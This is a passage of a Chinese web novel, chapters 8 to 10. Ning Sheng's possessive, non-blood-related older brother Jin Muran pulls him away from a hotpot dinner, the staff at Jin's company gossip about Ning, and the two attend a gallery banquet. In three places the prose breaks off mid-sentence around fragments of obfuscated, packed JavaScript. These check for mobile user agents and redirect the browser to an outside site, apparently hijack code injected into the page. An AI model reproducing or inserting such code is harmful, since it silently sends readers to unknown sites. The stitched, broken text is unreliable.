“有啊,工资还不少呢!”顾嘉言眼珠一转:“要不笙笙你也养只狗,我天天过来给你遛,友情价打半折就行!” 宁笙粉色的刘海被风吹开,露出一个光洁漂亮的额头:“我倒是想养很久了,我哥不让。小猫我不行。” 很久之前他就说过想养宠物了,靳穆然想也没想就拒绝了他。 理由是怕他被小动物抓伤咬伤,而且他的皮肤容易狗毛过敏。 “宠物都不让养啊?你哥真是……” 顾嘉言砸着嘴巴,一时间搜索不到合适的形容词。他也有亲弟弟,一起长大感情还不错,但从不会像靳穆然这样管教宁笙。 真的就差没把他放在眼睛里了。 仨人打车去了火锅店,这里是海城最著名的商业中心,哪怕不是节假日人流也很多。 进去找了个靠窗卡座,顾嘉言豪气十足地点了一通。 “今天的消费由我顾公子买单。林也和笙笙看看还有什么要加的不用客气哈!听说这里的牛肉可新鲜了。” “咱们仨好久没一起吃饭了,笙笙你哥今天怎么没来接你。”林也问。 宁笙把碗筷用热水烫了一遍,随口道:“他今天有事。” 顾嘉言:“卷王霸总嘛,肯定是很忙的,理解理解。” 话音落地,林也忽然拍了拍宁笙的肩膀,目光穿过落地窗外:“笙笙,我怎么瞧着那边的大帅哥,很像你家哥哥啊?” 宁笙顺着他的视线看过去,那是一家很有格调的西餐厅。 西装革履的靳穆然坐在餐桌前,看不太清表情。 对面是一个穿红裙的女生,棕色卷发精致优雅,举手投足有大家闺秀的气质。 男帅女美就跟拍偶像剧似的,很养眼的一个场景,旁边还有不少人在偷懒看。 宁笙抿了一下唇,心情不知怎的有些微妙,算不上难过,也确实不太高兴。 他还是第一次见靳穆然身边出现女生。 他在读书时就是学校里的风云人物,喜欢他的男男女女都很多。 每次宁笙去他的学校,总会有许多人围上来,旁敲侧击让他送礼物。 靳穆然从来都不看一眼,收了就扔到垃圾桶里,也不许宁笙再帮忙转交。 “哟哟哟。”顾嘉言吹了声口哨,语调夸张,“难怪你哥今天没空接你下课,原来是有美人相约啊。” “可能是客户或者合作伙伴吧。”林也用胳膊肘捅了他一下,“靳哥这个年纪也不小了,就算有恋爱对象也很正常。” “哎呀,我没别的意思。”顾嘉言挠了挠头:“不过也好,靳哥要是有了女朋友,说不准就没空管宁笙了。” 等等——没空管我? 宁笙:“!!!” 那是不是意味着他可以通宵打游戏看漫画、想吃什么垃圾食品都行、想去什么地方也可以随时出发! 林也表情雀跃:“说不准还能搬出来学校附近住,咱俩可以做邻居!” 顾嘉言点头附和:“养狗也没人管了!” 宁笙眼睛像星星般点亮起来,嘴角差点压不住。这就是自由的味道吗! 就在这时,手机铃声响起,靳穆然给他发了消息: 【笙笙,有没有在好好吃饭?拍照给我看你吃的什么。】 宁笙抽了抽嘴角,看向那边落地窗低头看手机的男人。搞什么啊,对面是大美女啊你关心我吃没吃饭? …… 靳穆然盯着屏幕,宁笙没有回复他。 他深吸一口气,压下心底隐隐的焦躁。 早知道就让他在家多待几天,省得一回学校就跟顾嘉言他们到处混。 沈曼怡眨了眨漂亮的眼睛,一口带有港岛口音的普通话:“穆然,你是不是有什么要紧事?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411798|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 靳穆然抬眸,神色依然冷淡:“你还有十分钟的时间,有什么想说的尽快说。” “爷爷最近的身体越来越不好了。”沈曼怡惨淡笑笑,眉心笼聚着忧愁:“他经常提起你名字,你……能不能去看看他?” 靳穆然想起病床上形容枯槁的老人,如同一头垂垂老矣的雄狮,曾经锐利如鹰的眼睛也已浑浊不堪。 他语气却听不出波澜:“他提我做什么?是后悔当年把我妈赶出赵家,还是盘算着让我去商业联姻?” 沈曼怡的脸色白了白。 她是赵家后来在福利院收养的孩子,对这些尘封过往知之甚少。 只知道靳穆然的母亲赵婧仪为了一个男人和整个家族决裂。出走多年杳无音信,后来死于一场车祸。 死讯传回来那天,老爷子在客厅里不吃不喝坐了一整天。不论谁劝都没用,直到深夜才拄着拐杖踱步回房。 “穆然,当年的事……” “当年的事不必再提,也与你无关,所以我不会迁怒于你。”靳穆然淡淡打断她,漆黑的眼眸深不见底:“不过,我希望没什么事你不要出现在海城,也不要打扰我现在的生活。” 沈曼怡咬了咬唇,靳穆然按辈分算是她表哥,说话却半点不留情。 其实她也不想掺和这件事,但老爷子开口了她不得不来。 “我知道我没资格说什么。但不管你心中有多少怨恨,爷爷已经这样了。就看在他要把鼎丰给你的份上,原谅他好吗?” 靳穆然抬手看腕表:“还有两分钟。” 沈曼怡声音微颤,试图做最后的努力,“鼎丰是爷爷一辈子的心血,他为了要交给你付出了很大努力,几位叔叔都……” 赵家根系庞大,纵横港岛多年,非要找出个继承人也不难。可赵鼎丰不顾反对,一意孤行要靳穆然接手,前提是他要回归赵家。 欲戴皇冠,必承其重,靳穆然很清楚这背后需要付出的代价。 “赵家的东西,我没兴趣。”他言简意赅,没有丝毫转圜的余地。 沈曼怡有些震惊,港岛赫赫有名的鼎丰集团,在靳穆然眼里不是一个庞大的商业帝国,而是一件无关紧要的东西。 她忽然明白老爷子为什么力排众议,要把家业留给一个流落在外多年的外孙。 首先心气和能力就已经是赵家本族的纨绔子弟不能比拟的。 老爷子虽然老了,但眼光确实毒辣。 靳穆然目光重新落回手机屏幕,依旧一片死寂。 十分钟过去了,宁笙没有回复消息,这让他心底的烦躁如同藤蔓般勒紧。 “时间到了。” “我……我知道了。”沈曼怡长长的睫毛掩盖住眼底的难堪和失落,“对不起,打扰你了。我……我会转告爷爷的。” 靳穆然站起身,一边往外走一边打电话给宁笙。 正在吃火锅的宁笙被手机铃声吓了一跳。 他只不过是没回信息而已,夺命追魂Call马上就来了!信息可以不回,电话他是万万不敢拒接的,否则后果不堪设想。 宁笙按下接听键,靳穆然的声音传过来,听起来心情一般,但语气温和:“笙笙,你在哪里?” 正要离开的沈曼怡也顿住脚步,她第一次听见靳穆然这样亲昵地叫一个人。 对面的……是宁家那个孩子吗? 宁笙放下筷子,纠结着要不要说实话,“我……” 他心虚地越过落地窗看向对面的西餐厅,忽然靳穆然好像感应到什么,侧眸和他对上了视线。 8. 第8章 靳穆然眉眼下压了一瞬,随即挂了电话,大步流星朝这边走来。 宁笙表情垮掉,不嘻嘻了……QAQ。 顾嘉言用同情的眼光看他:“赶紧吃几口吧笙笙,等会儿你哥就要把你逮走了。” “不至于吧?”林也大惊,“火锅也不让吃?你哥控制欲是不是太强了?” 宁笙叹了口气:“他一直就是这样,我已经习惯了。” 林也又说:“有没有可能这是一种心理疾病啊?我家隔壁那个学霸也这样。做事情特别偏执,后来去看医生还真的有病。” 宁笙看了他一眼,脸颊微微鼓起:“你瞎说什么呢,我哥没病。” “行行行,算我多嘴。” “林也你没有兄弟姐妹不懂,虽然我有弟弟我也不懂。” 宁笙趁着他哥过来的几分钟,赶紧吃了几口鲜爽嫩滑的牛肉,配上店里调制的辣椒油,是家里吃不到的味道。 太香了呜呜。 不过刚从锅里捞出来太烫了,他吃得龇牙咧嘴的,一抬头靳穆然已经站在了他面前,脸色有些阴沉。 “哥哥……”宁笙赶紧喝了口水,把嘴里的辣味压一压。 他去看刚刚的位置,那个红裙美女已经不在了。 他哥就这么把人家女孩子扔下了?不会被当成下头男挂在网上吧? 靳穆然目光锁在宁笙被烫得微微发红的唇上,眉头蹙起,“这么烫就放进嘴里,不知道放凉再吃吗?” 放凉?放凉就不是那个味道了。 宁笙像被逮到偷吃的小动物,含糊道:“……忍不住,太好吃了。” 对面的林也大气不敢出,顾嘉言则是一副“我早就知道会这样”的表情,默默低头吃东西,决定先暂时置身事外。 靳穆然没再说什么,只是拉开宁笙旁边的空椅,坐了下来。 他身量极高,气质冷峻,往这热气腾腾的火锅卡座一坐,不像来吃饭的。 连周围喧闹的空气都安静了几分。 服务生拿了一套新的碗筷过来。 靳穆然用热水仔细烫过一遍,在他眼里外面的餐厅统统卫生堪忧,不是万不得已不会来这种地方吃饭。 新鲜的牛肉放到锅里翻腾十几秒,等温度差不多了才给宁笙。 “吃吧。”他语气堪称平静。 “哦……”宁笙原以为他哥要教训他乱吃东西的,没想到他竟然一句没说,心底不由得松了一口气。 他碗里的牛肉很快堆成一座小山。 顾嘉言看气氛还行,赶紧招呼靳穆然吃东西:“靳哥,你要不要也吃点?这家味道真的很不错。” “不用,谢谢。”靳穆然拒绝得干脆。 他的任务不是来吃饭的,而是来监管某个不听话的小朋友。 宁笙食量不大,所以体型一直是偏瘦的。 靳穆然花过很多心思,也请了有执业资格的营养师定制食谱。 不过效果甚微,哪怕短暂吃胖一点,一不小心生病就打回原形。 宁笙在他的投喂下吃了不少东西,终于心满意足地放下筷子。 靳穆然在他嫣红的唇上停留了一瞬,眸色微深,随即移开,抽了张纸巾递给他:“擦擦嘴,吃饱了?” “嗯,饱了。”宁笙乖乖点头。 “那走吧。” 靳穆然语气不容商量,站起身把单也买了。 宁笙只好跟着站起来,对林也和顾嘉言挥挥手:“那我先走了啊。” …… 靳穆然的专属座驾一早已在路边等待。 宁笙无知无觉地上了车,车门一锁,挡板一升,整个空间就只有他们俩。 街道外人来人往,车厢里却安静得隔绝了一切杂音。空调吹着宁笙脊背凉嗖嗖的,他抿唇去看他哥。 靳穆然眼眸微垂,语气很淡:“笙笙,我有没有说过,你下了课要直接回家,为什么到处乱跑?” 宁笙:“……” 好好好,喂饱他了才开始教训是吧。 宁笙想说他这种是正常社交,和朋友吃饭算什么乱跑啊?这半个月在家都发霉了,出来透透风怎么了? 他有些不服气:“不回家就是乱跑吗?我都还没去酒吧会所呢……最出格也就是去网吧打打游戏而已。” 靳穆然语气更冷:“你可以去试试看。” 赤果果的威胁。 “你这么凶干什么?我这不是还没去吗?我只是举例子。”宁笙是那种做错事了会认错,没做错就死犟的性格。 自从上次出了意外,靳穆然对他的管教就越来越严了,生怕他再次受伤。 但是——上吊也得喘口气啊。 物极必反懂不懂?哪怕是咸鱼,也是有自己的脾气的! 靳穆然感受到宁笙的抵触,深深吸了一口气。声音里是难以察觉的疲惫:“笙笙,我不是要限制你交朋友。” 宁笙抬眼看他,明显不信。 一直以来,他连去社团活动都被要求汇报行程和同行人员。 “我只是需要知道你在哪,和谁在一起,是否安全。”靳穆然声音放缓了些,“上次的事情,我不想再经历第二次。” 宁笙是吃软不吃硬的性格。 靳穆然说的话他其实都理解,他们相依为命这些年,很清楚对方有多在乎自己。 宁笙气势一下子弱了下去,声音也软了:“那你好好说我会听的,不要一上来就教训我,我不要面子的吗?” 他小时候经常撒娇,长得漂亮乖巧,是惹人喜爱的那种小孩。 长大后多了几分天真散漫,让人忍不住捧在手里不受一点磕碰。 靳穆然眼底最后那点冷意也消散了。 他伸出手,轻轻揉了揉宁笙的头发:“不是要凶你。只是……” 他停顿了一下,似乎在想怎么措辞,“只是有些人接近你,可能并非表面那么简单。我需要更小心。” 他厌恶赵家的一切,也厌恶赵鼎丰明里暗里的施压。沈曼怡只是刚开始,很快会有更多的人和事打扰他和宁笙的生活。 一个将死之人,从前的过错就可以烟消云散了吗? 他要他认祖归宗,摈弃海城的一切回去继承他的江山。 可宁笙…… 靳穆然眼底越发幽暗,他是他亲手养大的,永远不可能放手。 宁笙似懂非懂,可他总觉得靳穆然的神色里还夹杂着别的、更复杂的东西。 他抬头去看他哥头顶的发光数字,自从变成【92%】后,大半个月都没再动过了。 两人之间的气氛缓和了许多,靳穆然问:“笙笙,你是不是一早就看见我了?” 宁笙耳朵收了收,脸颊的小红痣跟着抿唇动了动:“额……嗯嗯。” “那为什么装作没看见?” “我这不是怕打扰你约会吗?那个漂亮姐姐呢?这么快就走了?” 靳穆然顿了顿,盯着他的琥珀眸子:“你很好奇?” 宁笙吃饱饭开始犯困,他打了个哈欠,神色恹恹:“没有,我随便问问的。” 说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411799|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇是假的,毕竟他哥今天只说自己有事,却没有明说是什么事情。 宁笙直觉他不太想让自己知道。 “一个无关紧要的合作方代表,已经谈完事情了。”靳穆然淡淡道。 “原来真是合作方,我还以为……”宁笙收住话尾,睫毛像蝴蝶一样扑闪,为了掩饰尴尬拿起车内的矿泉水喝了一口。 “笙笙以为什么?” 宁笙摇摇头,在心里小声嘀咕:没什么,我以为是你的恋爱对象来着。 不过心底那点不高兴忽然消失了,他还是没办法想象他哥谈恋爱的样子。 幻影开在路上很平稳,宁笙越来越困,忍不住挨着他哥的肩膀闭目养神。 靳穆然的手机忽然响了,大概是怕吵到他,所以很快被按下静音。 宁笙感觉到靠着的身体微微一动,接着是靳穆然压低了的声音:“说。” …… 二十分钟后,他被靳穆然带回了公司。 盛禾大厦就在海城中心,面朝大海,高楼林立。 宁笙平时比较少来公司,一进门就收获了不少打量的目光。 唐秉早已抱着一叠文件在电梯口等候,语速飞快地汇报着情况。靳穆然一边听着,一边大步走向会议室,宁笙就像个小尾巴一样安静地跟在后面。 靳穆然一进去就被等待的高管围住了。 他看了眼跟在身后的宁笙,对唐秉吩咐道:“带笙笙去我的办公室,给他拿点喝的,不要冷饮。” 高层会议室和靳穆然办公室只隔着一面玻璃墙,百叶窗没完全拉上,宁笙能看见他哥翻看文件、时不时和下属谈话的身影。 靳穆然偶尔抬头也能瞥见他。 宁笙乖乖在办公室坐下,唐秉给他拿了果汁和点心。 一开始他还挺精神,刷了会儿手机,翻了翻他哥桌面上的书《The Psychology of Money》。 打开看见里面密密麻麻的英文,他那股困劲儿又上来了。 办公室里空调温度适宜,安静得只剩下外面隐约的脚步声。 宁笙的粉色脑袋开始一点一点往下掉,最后实在撑不住,决定去卫生间洗个脸。 刚走到玄关转角处,他就听见了自己的瓜。 一个职员压低声音对旁边同事说:“看见没?靳董带来的那个男生,我听唐秘书叫他小宁总。” “看见了,长得是真好看。就是看起来像个学生。他是靳董弟弟?” “听说好像是,宠得不行,走哪儿带哪儿。这么忙还带来公司。” 这时另一个男同事加入讨论,语气里带了点轻蔑:“可不就是弟弟么,不过啊,没有血缘关系的。跟靳董比起来,那可是一个天上一个地下。” 旁边的人来了兴趣:“怎么说怎么说?” “听说不怎么聪明,学习也一般般,就是个会吃喝玩乐的废物纨绔。你看他那样子,来公司除了睡大觉还能干嘛?估计连份简单的合同都看不懂吧。” 几个人越聊越起劲,声音也更大了些。 “真的假的?靳董那么厉害,弟弟这么……普通?” “谁知道呢?反正就是个漂亮草包,全靠靳董养着。”不知道谁嗤了一声:“不然你们以为他为什么被带过来?肯定是自己在家惹了祸,靳董不放心他一个人待着呗,得放在眼皮子底下盯着才安心。” 众人附和:“也是,像这种小废物……” 宁笙靠在墙边,唇角轻轻一撇:“继续说,我这种小废物怎么样?” 9. 第9章(修) 靳穆然静静听下属的汇报,手指搭着桌沿轻轻敲击。窗外的阳光格外偏好他,给他镀了层唯美金光。 “这个项目的风险评估不够充分。政策改革以及市场波动因素没有完全考虑在内,另外还有海城同类产业竞争对手的潜在反应。”靳穆然将文件轻轻推回桌对面,“让策划部重新做一份详细的分析报告。” “明白,靳董。”汇报完的高层汗流浃背,收起文件坐回座位。 “海城新区置地计划已经在推行,目前进入投标阶段。”唐秉呈交上另一份文件,目光不经意掠过老板冷峻的面容。 靳穆然接过文件翻看,神情专注。 唐秉性取向正常,但依然不免感叹有的人是天生赢家。 他从一进公司就跟着靳穆然。 刚得知这个二十出头的年轻人就是盛禾掌权人时,他心里还有过多少质疑。 很快他发现对方出色的商业能力以及旺盛到可怕的精力。最高的记录是整整一个月,每天只睡三个小时。 他是天生的卷王、高精力人群。大脑永远处于高速运转的状态,碎片化的休息也能迅速补充体能。 那时候盛禾处于极为关键的转型时期,元老守成、新锐激进。 公司内部新老两派冲击不断,每天都有开不完的会,吵不完的架。唐秉每每想起那段是时间都会露出痛苦面具。 也是那时候,他认识到小宁总在靳穆然心中占据着何等地位。 你很难想象一个前一秒谈着过亿合同的霸总。下一秒隔着电话声音温柔地哄人吃饭穿衣睡觉。 这在唐秉的眼中,不过是琐碎到极致的事情。然而靳穆然从未有过不耐烦,事无巨细到令人发指的地步。 再后来他见到宁笙真人,见识到他们之间那种旁人无法插足的相处模式,忽然也就理解了一切。 至于其他的感情,他不敢过多猜测,哪怕没有血缘和法律关系,也不能否认在世俗眼光里他们接近亲兄弟的事情。 唐秉收回思绪,抬头看向玻璃墙的方向,忽然表情一变。 刚刚还在沙发上昏昏欲睡的宁笙不见了! 靠!唐秉心里咯噔一下。 这小祖宗跑哪儿去了?可千万别在公司里乱跑,更不能出什么岔子啊! …… 灯下的宁笙皮肤白得晃眼,眼尾挑起些弧度,微微下压的唇角竟和靳穆然不悦时有几分相似。 他已经完全不困了,现在精神得可怕。 “没记错的话,我好像很少来公司,也从来没有见过你们。”他声音不高,却字字清晰,眼眸一点点扫过他们头顶的数字。 很低,低得可怜。 大部分都是【5%】【3%】【1%】的个位数,有一个甚至是【-10%】。 宁笙挑起眉梢,他才知道这玩意儿竟然会有负数。 虽然上次拿顾嘉言实验没反应,但他依然觉得这个数字和自己有关。越高不一定是越好,但是低到这种程度…… 那几个原本聊得眉飞色舞的员工像是尖叫鸡断了气,一张张脸涨得通红,眼神躲闪,没人敢接话。 宁笙眨了眨眼,重复他们刚才的话:“只知道吃喝玩乐的废物纨绔?” 有人试图辩解,声音发虚:“额小宁总,我们就是工作压力大,所以随口一说……真的没有恶意。” 没有恶意?宁笙笑了笑,他或许被靳穆然保护得很好,但不代表他是傻子。 “你千万别放在心上,我们可以道歉,这种事情不会再有下次。” “你们对我的事情还挺了解。”宁笙没看他,语气没什么起伏,“不过既然知道叫我小宁总,没搞清楚盛禾姓什么吗?” “理论上来说,我确实可以靠,而且靠得理直气壮。” 宁笙在靳穆然面前乖巧温顺,是因为他哥能管得住他,他即使偶有不满,大部分时候也是心甘情愿被管着的。 实际上他的少爷脾气可不小。平日里的与世无争。也是因为懒得在无关紧要的人和事上浪费精力。 但不代表他能忍受别人的恶意贬低,尤其是在自家地盘。 老虎不发威,真把他当小猫咪了是吧? 他抬眼扫过他们不断下降的数字,更确定了确实和自己有关联。 “其次,我和我哥之间的事情轮得到你们来置喙?他是你们能随便议论的对象?” “对不起……我们不是故意的,下次真的不会了。”其中的女生小声道歉。 宁笙没什么表情地点点头:“嗯,都收拾收拾,滚蛋吧。” 这是要开除的意思? 几个人惊讶对视,万万没想到闲聊几句八卦会有这么严重的后果。 宁笙忽然想起江卫国的话,或许公司里这些闲言闲语已经不是一天两天了。 很快他又摇了摇头,把这些想法摒出脑海。 公司的人说什么都好,也不会是靳穆然的意思。人心是肉长的,这么多年他很清楚他哥对他怎样。 另一个男生被逼急了,忍不住顶了一句:“你以为你是谁?我们是合法招聘的!就算我们说错话要开除也得按公司章程来,不是你一个人说了就算的!” “不是你们说的么?”宁笙抬眼,琥珀眼眸闪动着一丝讽刺,“我哥宠我宠得没边,我这样的废物草包天生就会闯祸。” 他顿了顿,一字一句地问:“我就想知道,开除你们几个,算不算是惹祸?如果是,那我惹定了——” …… 唐秉刚走到办公室门口,就遇上神色淡淡的宁笙。他气喘吁吁,跑去空中花园找了一圈,才想起去卫生间的方向看看。 “小宁总你去哪里了?我还以为……”唐秉收住话尾,说道:“有什么需要的可以告诉我,我来代劳。” “随便走走,唐秘书不用管我,你忙就好了。”说完他推门进去往沙发一坐,从桌面的零食架上摸了颗水果糖。 甜甜的橘子味,在口腔里散开。 宁笙心情平静了些。 他喜欢柑橘类的味道,家里的洗护套装和香薰也是这种。 他没有和唐秉说刚才的事。他承认自己是吓唬他们的。虽然被说闲话很影响心情,但不至于去到砸人饭碗。 这也是宁笙的性格之一,嘴硬但心软。 但他高估了自己的表情管理。 靳穆然忙完工作回来第一时间就察觉了他的不对劲。 宁笙因为无聊,拿着水性笔在白纸上随手涂鸦。 他画了满纸的生气小人,还有一个小场景,桃子Q版小人被围攻,气泡对话框里全是指指点点小废物。 靳穆然松了松手腕的袖扣,伸手抬起他的下颌,垂眸:“和我说,谁惹你了?” 他下午一直在忙,只知道唐秉中途出去过,直觉是宁笙这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411800|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生了什么。 他从小到大就藏不住事儿,生气了就挂脸,难过了就伤心。 “没什么。”玻璃是透明的,外面能看见这里发生什么,他把靳穆然的手推开,去摸他口袋里有没有烟。 宁笙知道他哥是吸烟的,不过只在极度心烦和疲惫时才会来两根。 他不喜欢烟味,觉得味道很难闻,但是现在他忽然想尝试一下。 靳穆然立刻就知道他的意图,捉住了他的手:“不许。” “凭什么?我都成年人了,男生吸烟不是很正常吗?再说了哥哥也吸烟,只许州官放火不许百姓点灯?” 靳穆然深呼吸了一口气。他几乎没什么烟瘾,工作也不至于让他心烦,尼古丁是用来克制其他情绪的。 那些阴暗的、疯狂滋生的、会把眼前的人吓跑的念头。 “我可以,但你不行。” “我为什么不行?”宁笙听见这两句有点炸毛,“是不是在你眼里,我就是一个整天惹是生非的废物?” 靳穆然转身把门反锁了,玻璃墙也按下雾化按钮,然后坐在宁笙面前。 挺阔笔直的西装让他的轮廓格外凌厉,与宁笙柔软舒适的着装形成鲜明对比。 可他的神色却异常温和,耐心到极致,也没有因为宁笙赌气的话而生气:“可以告诉我,发生什么事了吗?” 宁笙撇了撇嘴,说话间还带有柑橘的香甜:“我自己已经处理好了,不用你出马。工作上的事情我可能说不出什么,但是吵架还是有一手的。” 靳穆然眯了眯眼:“所以刚刚确实有人惹了你,而且还是公司里的人。” 话都说到这份上了,宁笙再瞒着也没什么意思,就把事情简单说了一遍,但略去了最难听的那些话。 靳穆然语气加重了些,卧蚕下压着,这是他想生气的表现:“这就是你说的处理好了?” “不信你去查监控,我可凶了,那群人里还有两个女生被吓哭,他们估计回去都吃不下睡不着。”他语气特别夸张,想显示自己已经狠狠出了一口恶气。 然后看着靳穆然愈发阴沉的脸色,又补了一句:“好了哥哥,如果非要有人滚蛋的话,你就选里面话最多嘴最碎那个!” “我当时真的有点生气,但是后来想想嘴巴长在别人身上,爱说什么就说好了。而且我觉得他们说得也未必全错。” “这种乱七八糟的东西少听。你是怎么样的我心里有数。” “好啦,我真的已经没事了。” 靳穆然伸手揉了揉宁笙的头发。小时候的他也会肆无忌惮和自己告状。一边说一边挥舞着小拳头。 长大后开始收敛了,他不知道自己这样有多可爱。 “笙笙很乖。” 宁笙愣了一下,眼睛睁圆:“啊?” 他在公司和人吵架惹事了,他哥居然还觉得他很乖? “哥哥,你对我的要求是不是太低了?”难怪他躺得这么心安理得呢,完全就是靳穆然十年如一日惯出来的! “宁笙,我对你没有要求。”靳穆然垂眸,只要你一直待在我身边就行。 宁笙对这些情绪无知无觉,他现在心情已经完全好了。 只是忽然他好像发现了什么,猝不及防地凑近,五官瞬间放大。手指轻轻捏住他哥的下巴,指尖细嫩的触感让靳穆然心头一震。 “哥哥,别动。” 10. 第10章 靳穆然几乎屏住了呼吸。 那一点带着体温的触感,像小猫的尾巴尖轻轻扫过,既痒又酥麻,让他不由自主地往后仰了仰。 宁笙睫毛翕动,宝石般的眼眸认真盯着他下颌那处的墨渍。 “你这里弄脏了,哥哥。” 他身上清爽又温暖的气息萦绕过来。 靳穆然手掌青筋暴起,皮肤上细微痒麻的触感,一路蔓延,钻入血脉。 宁笙毫无察觉,指腹用力蹭了蹭:“有点难擦……好了,干净了。”他满意地缩回手,身体也自然地退开。 “嗯,可能开会时不小心沾到了。”靳穆然声音很低。 “那你继续忙,我不吵你啦?” 宁笙非常自觉,工作上帮不了什么忙,也不能拖他哥后腿。 只是当他不经意上移视线时,瞥见了靳穆然头顶,数值刷的一下变成【93%】! 又、涨、了! 为什么偏偏是在这种时候?宁笙歪了歪头,他想再测试一次。 如果……如果是更近距离的接触呢?这个数值会有什么反应? 靳穆然抬手看了眼时间,刚站起身—— 宁笙却忽然手臂一伸,结结实实抱住了他的腰,脑袋靠在他肩膀上,毛绒绒的粉色头发轻轻蹭着。 靳穆然的身体瞬间僵住。 宁笙小时候总是肆无忌惮挂在他身上,笑眯眯说着穆然哥哥我是超人,你是飞船,现在命令你带我冲向宇宙! 后来过了那个中二时期,他就变得懂事乖巧了许多,很少这样主动抱他。 怀里的人软软的,露出的一小片白皙的脖颈,让人忍不住想低头狠狠咬住,唇齿厮磨。 靳穆然垂在身侧的手掌收紧,指尖泛白。 用了极大的意志力才克制住没有回抱他,也没有做出更失控的举动。 如果宁笙此时抬头,估计会看见他微微颤抖的喉结。 “哥哥,你身上的肌肉好硬啊。到底是怎么练的?” 宁笙比了比自己的手臂,首先骨骼就比他小了一圈,更别说加上结实肌肉后的围度,简直降维打击。 人和人之间的差距太大了,他俩每天吃的饭菜都是一样的呀。 宁笙爸爸的体格也不小,不过他没见过自己亲妈,家里也没有她的照片,所以没有参考对象。 “自由搏击,不太适合你。” “好吧。”宁笙看了看自己的细胳膊细腿,一脸遗憾。 “……为什么忽然抱哥哥?”靳穆然垂眸盯着他圆润的发旋。 宁笙支支吾吾的没回答,估摸着时间差不多了,正要抬头看他头顶数值。 吧嗒一声,办公室的门被人从外面推开。 “靳董,今晚的艺术晚宴您这边……”唐秉拿着一份邀请函走进来,话才说了一半,声音就卡在了喉咙里。 这是……小宁总?腰搂得这么紧,不知道的还以为是小男友在撒娇。 宁笙:“……”啊啊啊!为什么会这么凑巧!而且唐秘书进来怎么不敲门! 他顾不上尴尬,赶紧去看靳穆然头顶,果然,数值升到了【94%】! 宁笙现在很确定这玩意儿和自己有关。接下来就是要搞清楚到底是什么! 紧贴着自己的温暖骤然撤离,靳穆然眉眼沉了沉,将内心深处几乎破土而出的欲望强行压回深渊。 然后才转过头看向唐秉,狭长的眼眸很淡,隐隐带着被打断的不悦。 唐秉背后瞬间冒出一层冷汗。 如果眼神能杀人,他现在已经被砍成血雾了吧。 “您要不要推掉?”唐秉顶着压力把刚才的话说完。 靳穆然皱起眉,这种晚宴邀请他每天都能收到好几个。不过是借着艺术的名义洽谈生意,浪费时间。 宁笙眼尖,一下就看见了邀请函上的内容:“竟然有Gilbert Williams的作品吗?!天呐我喜欢他很久了!” 靳穆然揉了揉他的头发:“笙笙想去?” 宁笙点头,他要是能亲眼看见偶像的画作,估计晚上会激动得睡不着觉。 靳穆然很少带宁笙出席这种场合,私心想将他与那些虚伪和算计隔开。 但如果他想去…… “可以,但是有一点我要提前说好,笙笙不能离开我的视线。” …… 晚宴在一个私人美术馆举行。 穿过影影绰绰的竹林,一幢现代极简的建筑赫然出现。 宁笙回家换了套衣服,白色衬衫搭配米色棉麻西装外套。看不出具体牌子,但是一看设计和质地就知价值不菲。 入口处的工作人员毕恭毕敬地接过邀请函,引导靳穆然在背景板上签了名。 美术馆后的一片开阔空间,布置成了夏日色系的餐桌,水果和鲜花作为点缀,每一把椅子后挂着名牌方便来宾入座。 有不少媒体们都在前面拍照,馆里的宾客个个衣着光鲜,举着酒杯侃侃而谈。 据说这里原先是某个名人的私宅,馆主买下后改建成了美术馆。 夜色温柔如水,晚宴的氛围轻松。 宁笙被靳穆然带着走向用餐区,眼睛还不住地往画廊方向看。 “先吃饭。”靳穆然语气不容商量,从侍应生的盘子里拿过一杯温水,递给了宁笙,“胃不要了?” 哦。宁笙撇了一下嘴,接过杯子。 餐区摆着各种冷餐和小点心,金灿灿的香槟气泡酒堆叠成塔。 靳穆然取了个盘子,挑了几样宁笙爱吃的食物。 宁笙拿起叉子乖乖吃起来。 周围投来许多探究的目光,隐隐约约的,不敢太明目张胆。 盛禾在海城的发展势头很猛,坊间对于内部的事情却不甚清楚。 只知道掌权盛禾的靳穆然不是宁家亲生的孩子,至于那个粉发男孩,大概率就是传说中的废物小少爷了。 看着倒是兄友弟恭,一派和睦。 人心隔肚皮,这位没有血缘的兄长出了名的处事狠绝,将来会怎么把这小少爷吃得一点不剩也未可知。 看着一副天真散漫的样子,要是真被扫地出门了,和金贵的宠物猫流落街头有什么区别?估计几天得乞讨度日了。 看热闹归看热闹,应酬还是要到位的。 一个穿着西装的中年男人笑着走过来。“靳董,好久不见。” 靳穆然转过身,脸上没什么表情:“李总。” 李总伸出手热切地和靳穆然握了握,目光却不时瞟向旁边的宁笙,“这位就是小宁总吧?真是百闻不如一见。” 